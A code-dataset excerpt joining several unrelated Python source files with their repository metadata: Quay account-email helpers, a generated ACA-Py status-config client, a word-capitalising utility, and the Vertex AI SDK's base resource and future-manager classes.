html2text(rendered_for_plain) def send_password_changed(username, email): send_email(email, "Account password changed", "passwordchanged", {"username": username}) def send_email_changed(username, old_email, new_email): send_email( old_email, "Account e-mail address changed", "emailchanged", {"username": username, "new_email": new_email}, ) def send_change_email(username, email, token): send_email( email, "E-mail address change requested", "changeemail", {"username": username, "token": token}, ) def send_confirmation_email(username, email, token): action = GmailAction.confirm( "Confirm E-mail", "confirm?code=" + token, "Verification of e-mail address" ) send_email( email, "Please confirm your e-mail address", "confirmemail", {"username": username, "token": token}, action=action, ) def send_repo_authorization_email(namespace, repository, email, token): action = GmailAction.confirm( "Verify E-mail", "authrepoemail?code=" + token, "Verification of e-mail address" ) subject = "Please verify your e-mail address for repository %s/%s" % (namespace, repository) send_email( email, subject, "repoauthorizeemail", {"namespace": namespace, "repository": repository, "token": token}, action=action, ) def send_org_recovery_email(org, admin_users): subject = "Organization %s recovery" % (org.username) send_email( org.email, subject, "orgrecovery", { "organization": org.username, "admin_usernames": [user.username for user in admin_users], }, ) def send_recovery_email(email, token): action = GmailAction.view("Recover Account", "recovery?code=" + token, "Recovery of an account") subject = "Account recovery" send_email(email, subject, "recovery", {"email": email, "token": token}, action=action) def send_payment_failed(email, username): send_email(email, "Subscription Payment Failure", "paymentfailure", {"username": username}) def send_org_invite_email(member_name, member_email, orgname, team, adder, code): action = GmailAction.view( "Join %s" % team, "confirminvite?code=" + code, "Invitation to join a team" ) send_email( member_email, "Invitation to join team", "teaminvite", {"inviter": adder, "token": code, "organization": orgname, "teamname": team}, action=action, ) def send_invoice_email(email, contents): # Note: This completely generates the contents of the email, so we don't use the # normal template here. msg = Message("Quay payment received - Thank you!", recipients=[email]) msg.html = contents if features.FIPS: assert app_config["MAIL_USE_TLS"], "MAIL_USE_TLS must be enabled to use SMTP in FIPS mode." with mock.patch("smtplib.SMTP.login", login_fips_safe): mail.send(msg) else: mail.send(msg) def send_logs_exported_email( email, export_id, status, exported_data_url=None, exported_data_expiration=None ): send_email( email, "Export Action Logs Complete", "logsexported", { "status": status, "export_id": export_id, "exported_data_url": exported_data_url, "exported_data_expiration": exported_data_expiration, }, ) # INTERNAL EMAILS BELOW def send_subscription_change(change_description, customer_id, customer_email, quay_username): SUBSCRIPTION_CHANGE_TITLE = "Subscription Change - {0} {1}" SUBSCRIPTION_CHANGE = """ Change: {0}<br> Customer id: <a href="https://manage.stripe.com/customers/{1}">{1}</a><br> Customer email: <a href="mailto:{2}">{2}</a><br> Quay user or org name: {3}<br> """ title = SUBSCRIPTION_CHANGE_TITLE.format(quay_username, change_description) msg = Message(title, recipients=["stripe@quay.io"]) msg.html = SUBSCRIPTION_CHANGE.format( change_description, customer_id, customer_email, quay_username ) if features.FIPS: assert app_config["MAIL_USE_TLS"], "MAIL_USE_TLS must be enabled to use SMTP in FIPS mode." with mock.patch("smtplib.SMTP.login", login_fips_safe): mail.send(msg) else: mail.send(msg)

30.582375

100

0.62879

ace8e76de88d5fdf1746e11c5e1ef93407d64fd2

1,900

py

Python

acapy_client/api/server/get_status_config.py

Indicio-tech/acapy-client

0bd47af23308362db749c2671a3e7f8259855897

[ "Apache-2.0" ]

4

2021-08-05T09:20:34.000Z

2021-08-08T19:37:29.000Z

acapy_client/api/server/get_status_config.py

Indicio-tech/acapy-client

0bd47af23308362db749c2671a3e7f8259855897

[ "Apache-2.0" ]

null

acapy_client/api/server/get_status_config.py

Indicio-tech/acapy-client

0bd47af23308362db749c2671a3e7f8259855897

[ "Apache-2.0" ]

2

2021-08-12T18:18:45.000Z

2021-08-14T13:22:28.000Z

from typing import Any, Dict, Optional import httpx from ...client import Client from ...models.admin_config import AdminConfig from ...types import Response def _get_kwargs( *, client: Client, ) -> Dict[str, Any]: url = "{}/status/config".format(client.base_url) headers: Dict[str, Any] = client.get_headers() cookies: Dict[str, Any] = client.get_cookies() return { "url": url, "headers": headers, "cookies": cookies, "timeout": client.get_timeout(), } def _parse_response(*, response: httpx.Response) -> Optional[AdminConfig]: if response.status_code == 200: response_200 = AdminConfig.from_dict(response.json()) return response_200 return None def _build_response(*, response: httpx.Response) -> Response[AdminConfig]: return Response( status_code=response.status_code, content=response.content, headers=response.headers, parsed=_parse_response(response=response), ) def sync_detailed( *, client: Client, ) -> Response[AdminConfig]: kwargs = _get_kwargs( client=client, ) response = httpx.get( verify=client.verify_ssl, **kwargs, ) return _build_response(response=response) def sync( *, client: Client, ) -> Optional[AdminConfig]: """ """ return sync_detailed( client=client, ).parsed async def asyncio_detailed( *, client: Client, ) -> Response[AdminConfig]: kwargs = _get_kwargs( client=client, ) async with httpx.AsyncClient(verify=client.verify_ssl) as _client: response = await _client.get(**kwargs) return _build_response(response=response) async def asyncio( *, client: Client, ) -> Optional[AdminConfig]: """ """ return ( await asyncio_detailed( client=client, ) ).parsed

19.791667

74

0.628947

ace8e7af5f48232cc5b1fd05a750d5571e7efeaa

512

py

Python

dataUtils/utils/capitalize_words.py

ichang1/covid-tracker-backend

c33dbf671684365a950d2c179fb6cb1042271510

[ "MIT" ]

1

2021-09-06T04:46:08.000Z

dataUtils/utils/capitalize_words.py

ichang1/covid-tracker-backend

c33dbf671684365a950d2c179fb6cb1042271510

[ "MIT" ]

null

dataUtils/utils/capitalize_words.py

ichang1/covid-tracker-backend

c33dbf671684365a950d2c179fb6cb1042271510

[ "MIT" ]

null

def capitalize_words(string): n = len(string) i = 0 while i < n: if not string[i].isalpha(): pass elif i == 0: # first char char is alphabetical string = string[:i] + string[i:].capitalize() elif not string[i - 1].isalpha(): # this char is alphabetical and last char is not # start of new word string = string[:i] + string[i:].capitalize() else: pass i += 1 return string

28.444444

60

0.5

ace8e84b36197bd07990c135d0932b19932dcd3c

46,893

py

Python

google/cloud/aiplatform/base.py

xxxtrillionarie/GCP_MLOps_VertexAI_Workshop

d0d719c0bf557b908eb63f3a245db2f47b136eb3

[ "Apache-2.0" ]

1

2022-03-30T05:23:29.000Z

google/cloud/aiplatform/base.py

xxxtrillionarie/GCP_MLOps_VertexAI_Workshop

d0d719c0bf557b908eb63f3a245db2f47b136eb3

[ "Apache-2.0" ]

null

google/cloud/aiplatform/base.py

xxxtrillionarie/GCP_MLOps_VertexAI_Workshop

d0d719c0bf557b908eb63f3a245db2f47b136eb3

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import abc from concurrent import futures import datetime import functools import inspect import logging import sys import threading import time from typing import ( Any, Callable, Dict, List, Iterable, Optional, Sequence, Tuple, Type, Union, ) import proto from google.api_core import retry from google.api_core import operation from google.auth import credentials as auth_credentials from google.cloud.aiplatform import initializer from google.cloud.aiplatform import utils from google.cloud.aiplatform.compat.types import encryption_spec as gca_encryption_spec from google.protobuf import json_format logging.basicConfig(level=logging.INFO, stream=sys.stdout) # This is the default retry callback to be used with get methods. _DEFAULT_RETRY = retry.Retry() class Logger: """Logging wrapper class with high level helper methods.""" def __init__(self, name: str = ""): """Initializes logger with name. Args: name (str): Name to associate with logger. """ self._logger = logging.getLogger(name) def log_create_with_lro( self, cls: Type["VertexAiResourceNoun"], lro: Optional[operation.Operation] = None, ): """Logs create event with LRO. Args: cls (VertexAiResourceNoun): Vertex AI Resource Noun class that is being created. lro (operation.Operation): Optional. Backing LRO for creation. """ self._logger.info(f"Creating {cls.__name__}") if lro: self._logger.info( f"Create {cls.__name__} backing LRO: {lro.operation.name}" ) def log_create_complete( self, cls: Type["VertexAiResourceNoun"], resource: proto.Message, variable_name: str, ): """Logs create event is complete. Will also include code snippet to instantiate resource in SDK. Args: cls (VertexAiResourceNoun): Vertex AI Resource Noun class that is being created. resource (proto.Message): Vertex AI Resource proto.Message variable_name (str): Name of variable to use for code snippet """ self._logger.info(f"{cls.__name__} created. Resource name: {resource.name}") self._logger.info(f"To use this {cls.__name__} in another session:") self._logger.info( f"{variable_name} = aiplatform.{cls.__name__}('{resource.name}')" ) def log_create_complete_with_getter( self, cls: Type["VertexAiResourceNoun"], resource: proto.Message, variable_name: str, ): """Logs create event is complete. Will also include code snippet to instantiate resource in SDK. Args: cls (VertexAiResourceNoun): Vertex AI Resource Noun class that is being created. resource (proto.Message): Vertex AI Resource proto.Message variable_name (str): Name of variable to use for code snippet """ self._logger.info(f"{cls.__name__} created. Resource name: {resource.name}") self._logger.info(f"To use this {cls.__name__} in another session:") self._logger.info( f"{variable_name} = aiplatform.{cls.__name__}.get('{resource.name}')" ) def log_action_start_against_resource( self, action: str, noun: str, resource_noun_obj: "VertexAiResourceNoun" ): """Logs intention to start an action against a resource. Args: action (str): Action to complete against the resource ie: "Deploying". Can be empty string. noun (str): Noun the action acts on against the resource. Can be empty string. resource_noun_obj (VertexAiResourceNoun): Resource noun object the action is acting against. """ self._logger.info( f"{action} {resource_noun_obj.__class__.__name__} {noun}: {resource_noun_obj.resource_name}" ) def log_action_started_against_resource_with_lro( self, action: str, noun: str, cls: Type["VertexAiResourceNoun"], lro: operation.Operation, ): """Logs an action started against a resource with lro. Args: action (str): Action started against resource. ie: "Deploy". Can be empty string. noun (str): Noun the action acts on against the resource. Can be empty string. cls (VertexAiResourceNoun): Resource noun object the action is acting against. lro (operation.Operation): Backing LRO for action. """ self._logger.info( f"{action} {cls.__name__} {noun} backing LRO: {lro.operation.name}" ) def log_action_completed_against_resource( self, noun: str, action: str, resource_noun_obj: "VertexAiResourceNoun" ): """Logs action completed against resource. Args: noun (str): Noun the action acts on against the resource. Can be empty string. action (str): Action started against resource. ie: "Deployed". Can be empty string. resource_noun_obj (VertexAiResourceNoun): Resource noun object the action is acting against """ self._logger.info( f"{resource_noun_obj.__class__.__name__} {noun} {action}. Resource name: {resource_noun_obj.resource_name}" ) def __getattr__(self, attr: str): """Forward remainder of logging to underlying logger.""" return getattr(self._logger, attr) _LOGGER = Logger(__name__) class FutureManager(metaclass=abc.ABCMeta): """Tracks concurrent futures against this object.""" def __init__(self): self.__latest_future_lock = threading.Lock() # Always points to the latest future. All submitted futures will always # form a dependency on the latest future. self.__latest_future = None # Caches Exception of any executed future. Once one exception occurs # all additional futures should fail and any additional invocations will block. self._exception = None def _raise_future_exception(self): """Raises exception if one of the object's futures has raised.""" with self.__latest_future_lock: if self._exception: raise self._exception def _complete_future(self, future: futures.Future): """Checks for exception of future and removes the pointer if it's still latest. Args: future (futures.Future): Required. A future to complete. """ with self.__latest_future_lock: try: future.result() # raises except Exception as e: self._exception = e if self.__latest_future is future: self.__latest_future = None def _are_futures_done(self) -> bool: """Helper method to check to all futures are complete. Returns: True if no latest future. """ with self.__latest_future_lock: return self.__latest_future is None def wait(self): """Helper method to that blocks until all futures are complete.""" future = self.__latest_future if future: futures.wait([future], return_when=futures.FIRST_EXCEPTION) self._raise_future_exception() @property def _latest_future(self) -> Optional[futures.Future]: """Get the latest future if it exists.""" with self.__latest_future_lock: return self.__latest_future @_latest_future.setter def _latest_future(self, future: Optional[futures.Future]): """Optionally set the latest future and add a complete_future callback.""" with self.__latest_future_lock: self.__latest_future = future if future: future.add_done_callback(self._complete_future) def _submit( self, method: Callable[..., Any], args: Sequence[Any], kwargs: Dict[str, Any], additional_dependencies: Optional[Sequence[futures.Future]] = None, callbacks: Optional[Sequence[Callable[[futures.Future], Any]]] = None, internal_callbacks: Iterable[Callable[[Any], Any]] = None, ) -> futures.Future: """Submit a method as a future against this object. Args: method (Callable): Required. The method to submit. args (Sequence): Required. The arguments to call the method with. kwargs (dict): Required. The keyword arguments to call the method with. additional_dependencies (Optional[Sequence[futures.Future]]): Optional. Additional dependent futures to wait on before executing method. Note: No validation is done on the dependencies. callbacks (Optional[Sequence[Callable[[futures.Future], Any]]]): Optional. Additional Future callbacks to execute once this created Future is complete. Returns: future (Future): Future of the submitted method call. """ def wait_for_dependencies_and_invoke( deps: Sequence[futures.Future], method: Callable[..., Any], args: Sequence[Any], kwargs: Dict[str, Any], internal_callbacks: Iterable[Callable[[Any], Any]], ) -> Any: """Wrapper method to wait on any dependencies before submitting method. Args: deps (Sequence[futures.Future]): Required. Dependent futures to wait on before executing method. Note: No validation is done on the dependencies. method (Callable): Required. The method to submit. args (Sequence[Any]): Required. The arguments to call the method with. kwargs (Dict[str, Any]): Required. The keyword arguments to call the method with. internal_callbacks: (Callable[[Any], Any]): Callbacks that take the result of method. """ for future in set(deps): future.result() result = method(*args, **kwargs) # call callbacks from within future if internal_callbacks: for callback in internal_callbacks: callback(result) return result # Retrieves any dependencies from arguments. deps = [ arg._latest_future for arg in list(args) + list(kwargs.values()) if isinstance(arg, FutureManager) ] # Retrieves exceptions and raises # if any upstream dependency has an exception exceptions = [ arg._exception for arg in list(args) + list(kwargs.values()) if isinstance(arg, FutureManager) and arg._exception ] if exceptions: raise exceptions[0] # filter out objects that do not have pending tasks deps = [dep for dep in deps if dep] if additional_dependencies: deps.extend(additional_dependencies) with self.__latest_future_lock: # form a dependency on the latest future of this object if self.__latest_future: deps.append(self.__latest_future) self.__latest_future = initializer.global_pool.submit( wait_for_dependencies_and_invoke, deps=deps, method=method, args=args, kwargs=kwargs, internal_callbacks=internal_callbacks, ) future = self.__latest_future # Clean up callback captures exception as well as removes future. # May execute immediately and take lock. future.add_done_callback(self._complete_future) if callbacks: for c in callbacks: future.add_done_callback(c) return future @classmethod @abc.abstractmethod def _empty_constructor(cls) -> "FutureManager": """Should construct object with all non FutureManager attributes as None.""" pass @abc.abstractmethod def _sync_object_with_future_result(self, result: "FutureManager"): """Should sync the object from _empty_constructor with result of future.""" def __repr__(self) -> str: if self._exception: return f"{object.__repr__(self)} failed with {str(self._exception)}" if self.__latest_future: return f"{object.__repr__(self)} is waiting for upstream dependencies to complete." return object.__repr__(self) class VertexAiResourceNoun(metaclass=abc.ABCMeta): """Base class the Vertex AI resource nouns. Subclasses require two class attributes: client_class: The client to instantiate to interact with this resource noun. Subclass is required to populate private attribute _gca_resource which is the service representation of the resource noun. """ @property @classmethod @abc.abstractmethod def client_class(cls) -> Type[utils.VertexAiServiceClientWithOverride]: """Client class required to interact with resource with optional overrides.""" pass @property @classmethod @abc.abstractmethod def _getter_method(cls) -> str: """Name of getter method of client class for retrieving the resource.""" pass @property @classmethod @abc.abstractmethod def _delete_method(cls) -> str: """Name of delete method of client class for deleting the resource.""" pass @property @classmethod @abc.abstractmethod def _resource_noun(cls) -> str: """Resource noun.""" pass @property @classmethod @abc.abstractmethod def _parse_resource_name_method(cls) -> str: """Method name on GAPIC client to parse a resource name.""" pass @property @classmethod @abc.abstractmethod def _format_resource_name_method(self) -> str: """Method name on GAPIC client to format a resource name.""" pass # Override this value with staticmethod # to use custom resource id validators per resource _resource_id_validator: Optional[Callable[[str], None]] = None def __init__( self, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, resource_name: Optional[str] = None, ): """Initializes class with project, location, and api_client. Args: project(str): Project of the resource noun. location(str): The location of the resource noun. credentials(google.auth.credentials.Credentials): Optional custom credentials to use when accessing interacting with resource noun. resource_name(str): A fully-qualified resource name or ID. """ if resource_name: project, location = self._get_and_validate_project_location( resource_name=resource_name, project=project, location=location ) self.project = project or initializer.global_config.project self.location = location or initializer.global_config.location self.credentials = credentials or initializer.global_config.credentials self.api_client = self._instantiate_client(self.location, self.credentials) @classmethod def _instantiate_client( cls, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, ) -> utils.VertexAiServiceClientWithOverride: """Helper method to instantiate service client for resource noun. Args: location (str): The location of the resource noun. credentials (google.auth.credentials.Credentials): Optional custom credentials to use when accessing interacting with resource noun. Returns: client (utils.VertexAiServiceClientWithOverride): Initialized service client for this service noun with optional overrides. """ return initializer.global_config.create_client( client_class=cls.client_class, credentials=credentials, location_override=location, ) @classmethod def _parse_resource_name(cls, resource_name: str) -> Dict[str, str]: """ Parses resource name into its component segments. Args: resource_name: Resource name of this resource. Returns: Dictionary of component segments. """ # gets the underlying wrapped gapic client class return getattr( cls.client_class.get_gapic_client_class(), cls._parse_resource_name_method )(resource_name) @classmethod def _format_resource_name(cls, **kwargs: str) -> str: """ Formats a resource name using its component segments. Args: **kwargs: Resource name parts. Singular and snake case. ie: format_resource_name( project='my-project', location='us-central1' ) Returns: Resource name. """ # gets the underlying wrapped gapic client class return getattr( cls.client_class.get_gapic_client_class(), cls._format_resource_name_method )(**kwargs) def _get_and_validate_project_location( self, resource_name: str, project: Optional[str] = None, location: Optional[str] = None, ) -> Tuple[str, str]: """Validate the project and location for the resource. Args: resource_name(str): Required. A fully-qualified resource name or ID. project(str): Project of the resource noun. location(str): The location of the resource noun. Raises: RuntimeError: If location is different from resource location """ fields = self._parse_resource_name(resource_name) if not fields: return project, location if location and fields["location"] != location: raise RuntimeError( f"location {location} is provided, but different from " f"the resource location {fields['location']}" ) return fields["project"], fields["location"] def _get_gca_resource( self, resource_name: str, parent_resource_name_fields: Optional[Dict[str, str]] = None, ) -> proto.Message: """Returns GAPIC service representation of client class resource. Args: resource_name (str): Required. A fully-qualified resource name or ID. parent_resource_name_fields (Dict[str,str]): Optional. Mapping of parent resource name key to values. These will be used to compose the resource name if only resource ID is given. Should not include project and location. """ resource_name = utils.full_resource_name( resource_name=resource_name, resource_noun=self._resource_noun, parse_resource_name_method=self._parse_resource_name, format_resource_name_method=self._format_resource_name, project=self.project, location=self.location, parent_resource_name_fields=parent_resource_name_fields, resource_id_validator=self._resource_id_validator, ) return getattr(self.api_client, self._getter_method)( name=resource_name, retry=_DEFAULT_RETRY ) def _sync_gca_resource(self): """Sync GAPIC service representation of client class resource.""" self._gca_resource = self._get_gca_resource(resource_name=self.resource_name) @property def name(self) -> str: """Name of this resource.""" self._assert_gca_resource_is_available() return self._gca_resource.name.split("/")[-1] @property def resource_name(self) -> str: """Full qualified resource name.""" self._assert_gca_resource_is_available() return self._gca_resource.name @property def display_name(self) -> str: """Display name of this resource.""" self._assert_gca_resource_is_available() return self._gca_resource.display_name @property def create_time(self) -> datetime.datetime: """Time this resource was created.""" self._assert_gca_resource_is_available() return self._gca_resource.create_time @property def update_time(self) -> datetime.datetime: """Time this resource was last updated.""" self._sync_gca_resource() return self._gca_resource.update_time @property def encryption_spec(self) -> Optional[gca_encryption_spec.EncryptionSpec]: """Customer-managed encryption key options for this Vertex AI resource. If this is set, then all resources created by this Vertex AI resource will be encrypted with the provided encryption key. """ self._assert_gca_resource_is_available() return getattr(self._gca_resource, "encryption_spec") @property def labels(self) -> Dict[str, str]: """User-defined labels containing metadata about this resource. Read more about labels at https://goo.gl/xmQnxf """ self._assert_gca_resource_is_available() return dict(self._gca_resource.labels) @property def gca_resource(self) -> proto.Message: """The underlying resource proto representation.""" self._assert_gca_resource_is_available() return self._gca_resource @property def _resource_is_available(self) -> bool: """Returns True if GCA resource has been created and is available, otherwise False""" try: self._assert_gca_resource_is_available() return True except RuntimeError: return False def _assert_gca_resource_is_available(self) -> None: """Helper method to raise when property is not accessible. Raises: RuntimeError: If _gca_resource is has not been created. """ if self._gca_resource is None: raise RuntimeError( f"{self.__class__.__name__} resource has not been created" ) def __repr__(self) -> str: return f"{object.__repr__(self)} \nresource name: {self.resource_name}" def to_dict(self) -> Dict[str, Any]: """Returns the resource proto as a dictionary.""" return json_format.MessageToDict(self.gca_resource._pb) def optional_sync( construct_object_on_arg: Optional[str] = None, return_input_arg: Optional[str] = None, bind_future_to_self: bool = True, ): """Decorator for VertexAiResourceNounWithFutureManager with optional sync support. Methods with this decorator should include a "sync" argument that defaults to True. If called with sync=False this decorator will launch the method as a concurrent Future in a separate Thread. Note that this is only robust enough to support our current end to end patterns and may not be suitable for new patterns. Args: construct_object_on_arg (str): Optional. If provided, will only construct output object if arg is present. Example: If custom training does not produce a model. return_input_arg (str): Optional. If provided will return passed in argument instead of constructing. Example: Model.deploy(Endpoint) returns the passed in Endpoint bind_future_to_self (bool): Whether to add this future to the calling object. Example: Model.deploy(Endpoint) would be set to False because we only want the deployment Future to be associated with Endpoint. """ def optional_run_in_thread(method: Callable[..., Any]): """Optionally run this method concurrently in separate Thread. Args: method (Callable[..., Any]): Method to optionally run in separate Thread. """ @functools.wraps(method) def wrapper(*args, **kwargs): """Wraps method.""" sync = kwargs.pop("sync", True) bound_args = inspect.signature(method).bind(*args, **kwargs) self = bound_args.arguments.get("self") calling_object_latest_future = None # check to see if this object has any exceptions if self: calling_object_latest_future = self._latest_future self._raise_future_exception() # if sync then wait for any Futures to complete and execute if sync: if self: VertexAiResourceNounWithFutureManager.wait(self) return method(*args, **kwargs) # callbacks to call within the Future (in same Thread) internal_callbacks = [] # callbacks to add to the Future (may or may not be in same Thread) callbacks = [] # additional Future dependencies to capture dependencies = [] # all methods should have type signatures return_type = get_annotation_class( inspect.getfullargspec(method).annotations["return"] ) # object produced by the method returned_object = bound_args.arguments.get(return_input_arg) # is a classmethod that creates the object and returns it if args and inspect.isclass(args[0]): # assumes class in classmethod is the resource noun returned_object = ( args[0]._empty_constructor() if not returned_object else returned_object ) self = returned_object else: # instance method # if we're returning an input object if returned_object and returned_object is not self: # make sure the input object doesn't have any exceptions # from previous futures returned_object._raise_future_exception() # if the future will be associated with both the returned object # and calling object then we need to add additional callback # to remove the future from the returned object # if we need to construct a new empty returned object should_construct = not returned_object and bound_args.arguments.get( construct_object_on_arg, not construct_object_on_arg ) if should_construct: if return_type is not None: returned_object = return_type._empty_constructor() # if the future will be associated with both the returned object # and calling object then we need to add additional callback # to remove the future from the returned object if returned_object and bind_future_to_self: callbacks.append(returned_object._complete_future) if returned_object: # sync objects after future completes internal_callbacks.append( returned_object._sync_object_with_future_result ) # If the future is not associated with the calling object # then the return object future needs to form a dependency on the # the latest future in the calling object. if not bind_future_to_self: if calling_object_latest_future: dependencies.append(calling_object_latest_future) self = returned_object future = self._submit( method=method, callbacks=callbacks, internal_callbacks=internal_callbacks, additional_dependencies=dependencies, args=[], kwargs=bound_args.arguments, ) # if the calling object is the one that submitted then add it's future # to the returned object if returned_object and returned_object is not self: returned_object._latest_future = future return returned_object return wrapper return optional_run_in_thread class VertexAiResourceNounWithFutureManager(VertexAiResourceNoun, FutureManager): """Allows optional asynchronous calls to this Vertex AI Resource Nouns.""" def __init__( self, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, resource_name: Optional[str] = None, ): """Initializes class with project, location, and api_client. Args: project (str): Optional. Project of the resource noun. location (str): Optional. The location of the resource noun. credentials(google.auth.credentials.Credentials): Optional. custom credentials to use when accessing interacting with resource noun. resource_name(str): A fully-qualified resource name or ID. """ VertexAiResourceNoun.__init__( self, project=project, location=location, credentials=credentials, resource_name=resource_name, ) FutureManager.__init__(self) @classmethod def _empty_constructor( cls, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, resource_name: Optional[str] = None, ) -> "VertexAiResourceNounWithFutureManager": """Initializes with all attributes set to None. The attributes should be populated after a future is complete. This allows scheduling of additional API calls before the resource is created. Args: project (str): Optional. Project of the resource noun. location (str): Optional. The location of the resource noun. credentials(google.auth.credentials.Credentials): Optional. custom credentials to use when accessing interacting with resource noun. resource_name(str): A fully-qualified resource name or ID. Returns: An instance of this class with attributes set to None. """ self = cls.__new__(cls) VertexAiResourceNoun.__init__( self, project=project, location=location, credentials=credentials, resource_name=resource_name, ) FutureManager.__init__(self) self._gca_resource = None return self def _sync_object_with_future_result( self, result: "VertexAiResourceNounWithFutureManager" ): """Populates attributes from a Future result to this object. Args: result: VertexAiResourceNounWithFutureManager Required. Result of future with same type as this object. """ sync_attributes = [ "project", "location", "api_client", "_gca_resource", "credentials", ] optional_sync_attributes = ["_prediction_client"] for attribute in sync_attributes: setattr(self, attribute, getattr(result, attribute)) for attribute in optional_sync_attributes: value = getattr(result, attribute, None) if value: setattr(self, attribute, value) @classmethod def _construct_sdk_resource_from_gapic( cls, gapic_resource: proto.Message, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, ) -> VertexAiResourceNoun: """Given a GAPIC resource object, return the SDK representation. Args: gapic_resource (proto.Message): A GAPIC representation of a Vertex AI resource, usually retrieved by a get_* or in a list_* API call. project (str): Optional. Project to construct SDK object from. If not set, project set in aiplatform.init will be used. location (str): Optional. Location to construct SDK object from. If not set, location set in aiplatform.init will be used. credentials (auth_credentials.Credentials): Optional. Custom credentials to use to construct SDK object. Overrides credentials set in aiplatform.init. Returns: VertexAiResourceNoun: An initialized SDK object that represents GAPIC type. """ sdk_resource = cls._empty_constructor( project=project, location=location, credentials=credentials ) sdk_resource._gca_resource = gapic_resource return sdk_resource # TODO(b/144545165): Improve documentation for list filtering once available # TODO(b/184910159): Expose `page_size` field in list method @classmethod def _list( cls, cls_filter: Callable[[proto.Message], bool] = lambda _: True, filter: Optional[str] = None, order_by: Optional[str] = None, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, parent: Optional[str] = None, ) -> List[VertexAiResourceNoun]: """Private method to list all instances of this Vertex AI Resource, takes a `cls_filter` arg to filter to a particular SDK resource subclass. Args: cls_filter (Callable[[proto.Message], bool]): A function that takes one argument, a GAPIC resource, and returns a bool. If the function returns False, that resource will be excluded from the returned list. Example usage: cls_filter = lambda obj: obj.metadata in cls.valid_metadatas filter (str): Optional. An expression for filtering the results of the request. For field names both snake_case and camelCase are supported. order_by (str): Optional. A comma-separated list of fields to order by, sorted in ascending order. Use "desc" after a field name for descending. Supported fields: `display_name`, `create_time`, `update_time` project (str): Optional. Project to retrieve list from. If not set, project set in aiplatform.init will be used. location (str): Optional. Location to retrieve list from. If not set, location set in aiplatform.init will be used. credentials (auth_credentials.Credentials): Optional. Custom credentials to use to retrieve list. Overrides credentials set in aiplatform.init. parent (str): Optional. The parent resource name if any to retrieve resource list from. Returns: List[VertexAiResourceNoun] - A list of SDK resource objects """ resource = cls._empty_constructor( project=project, location=location, credentials=credentials ) # Fetch credentials once and re-use for all `_empty_constructor()` calls creds = resource.credentials resource_list_method = getattr(resource.api_client, resource._list_method) list_request = { "parent": parent or initializer.global_config.common_location_path( project=project, location=location ), "filter": filter, } if order_by: list_request["order_by"] = order_by resource_list = resource_list_method(request=list_request) or [] return [ cls._construct_sdk_resource_from_gapic( gapic_resource, project=project, location=location, credentials=creds ) for gapic_resource in resource_list if cls_filter(gapic_resource) ] @classmethod def _list_with_local_order( cls, cls_filter: Callable[[proto.Message], bool] = lambda _: True, filter: Optional[str] = None, order_by: Optional[str] = None, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, ) -> List[VertexAiResourceNoun]: """Private method to list all instances of this Vertex AI Resource, takes a `cls_filter` arg to filter to a particular SDK resource subclass. Provides client-side sorting when a list API doesn't support `order_by`. Args: cls_filter (Callable[[proto.Message], bool]): A function that takes one argument, a GAPIC resource, and returns a bool. If the function returns False, that resource will be excluded from the returned list. Example usage: cls_filter = lambda obj: obj.metadata in cls.valid_metadatas filter (str): Optional. An expression for filtering the results of the request. For field names both snake_case and camelCase are supported. order_by (str): Optional. A comma-separated list of fields to order by, sorted in ascending order. Use "desc" after a field name for descending. Supported fields: `display_name`, `create_time`, `update_time` project (str): Optional. Project to retrieve list from. If not set, project set in aiplatform.init will be used. location (str): Optional. Location to retrieve list from. If not set, location set in aiplatform.init will be used. credentials (auth_credentials.Credentials): Optional. Custom credentials to use to retrieve list. Overrides credentials set in aiplatform.init. Returns: List[VertexAiResourceNoun] - A list of SDK resource objects """ li = cls._list( cls_filter=cls_filter, filter=filter, order_by=None, # This method will handle the ordering locally project=project, location=location, credentials=credentials, ) if order_by: desc = "desc" in order_by order_by = order_by.replace("desc", "") order_by = order_by.split(",") li.sort( key=lambda x: tuple(getattr(x, field.strip()) for field in order_by), reverse=desc, ) return li @classmethod def list( cls, filter: Optional[str] = None, order_by: Optional[str] = None, project: Optional[str] = None, location: Optional[str] = None, credentials: Optional[auth_credentials.Credentials] = None, parent: Optional[str] = None, ) -> List[VertexAiResourceNoun]: """List all instances of this Vertex AI Resource. Example Usage: aiplatform.BatchPredictionJobs.list( filter='state="JOB_STATE_SUCCEEDED" AND display_name="my_job"', ) aiplatform.Model.list(order_by="create_time desc, display_name") Args: filter (str): Optional. An expression for filtering the results of the request. For field names both snake_case and camelCase are supported. order_by (str): Optional. A comma-separated list of fields to order by, sorted in ascending order. Use "desc" after a field name for descending. Supported fields: `display_name`, `create_time`, `update_time` project (str): Optional. Project to retrieve list from. If not set, project set in aiplatform.init will be used. location (str): Optional. Location to retrieve list from. If not set, location set in aiplatform.init will be used. credentials (auth_credentials.Credentials): Optional. Custom credentials to use to retrieve list. Overrides credentials set in aiplatform.init. parent (str): Optional. The parent resource name if any to retrieve list from. Returns: List[VertexAiResourceNoun] - A list of SDK resource objects """ return cls._list( filter=filter, order_by=order_by, project=project, location=location, credentials=credentials, parent=parent, ) @optional_sync() def delete(self, sync: bool = True) -> None: """Deletes this Vertex AI resource. WARNING: This deletion is permanent. Args: sync (bool): Whether to execute this deletion synchronously. If False, this method will be executed in concurrent Future and any downstream object will be immediately returned and synced when the Future has completed. """ _LOGGER.log_action_start_against_resource("Deleting", "", self) lro = getattr(self.api_client, self._delete_method)(name=self.resource_name) _LOGGER.log_action_started_against_resource_with_lro( "Delete", "", self.__class__, lro ) lro.result() _LOGGER.log_action_completed_against_resource("deleted.", "", self) def __repr__(self) -> str: if self._gca_resource and self._resource_is_available: return VertexAiResourceNoun.__repr__(self) return FutureManager.__repr__(self) 